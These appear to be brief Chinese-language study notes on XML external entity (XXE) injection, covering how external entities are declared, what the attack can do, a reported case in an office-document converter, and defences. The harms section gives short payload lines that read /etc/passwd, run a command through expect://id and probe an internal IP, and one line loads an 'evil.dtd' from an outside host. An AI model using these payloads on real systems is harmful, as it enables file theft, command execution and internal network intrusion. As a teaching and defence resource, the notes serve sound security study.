xee

定义：
xxe也就是xml外部实体注入

影响范围
读取xml文件且允许引用外部实体的产品

怎样构建外部实体注入？
方式一：直接通过DTD外部实体声明
方式二：通过DTD文档引入外部DTD文档，再引入外部实体声明
方式三：通过DTD外部实体声明引入外部实体声明

不同程序支持协议不同
.net,java，php都支持file，http，ftp

无回显的xxe【<!ENTITY f SYSTEM "file:///e:/java/test.txt">】

 

危害：
1.读取任意文件
<!ENTITY xxe SYSTEM "file:///etc/passwd">
2.执行系统命令
<!ENTITY xxe SYSTEM "expect://id">
该CASE是在安装expect扩展的PHP环境里执行系统命令，其他协议也有可能可以执行系统命令。
3.探测内网端口
<!ENTITY xxe SYSTEM "http://192.168.1.1:81/mark4z5">
4.攻击内网网站

利用：#print_r($data)；把数据发到服务器

案例
日前，某office文档转换软件被爆存在XXE漏洞（PS:感谢TSRC平台白帽子Titans`报告漏洞），某一应用场景为：Web程序调用该office软件来获取office文档内容后提供在线预览。由于该软件在处理office文档时，读取xml文件且允许引用外部实体，当用户上传恶意文档并预览时触发XXE攻击。

防御
1.使用开发语言提供的禁用外部实体的方法
PHP：
libxml_disable_entity_loader(true);
其他语言:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
2.过滤用户提交的XML数据
关键词：，SYSTEM和PUBLIC。

 

DTD文档引入外部DTD文档
<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>
DTD文档 DOCTYPE 的那个标签，也就是DTD
DTD外部实体声明 ENTITY的那个标签
https://www.cnblogs.com/r00tuser/p/7255939.html

DTD实体是用于xml中定义引用普通文本或特殊字符的快捷方式的变量，可以内部声明或外部引用。
内部实体声明
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;&copyright;</test>

外部实体声明
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&writer;&copyright;</author>

https://www.cnblogs.com/r00tuser/p/7255939.html
参考链接：https://security.tencent.com/index.php/blog/msg/69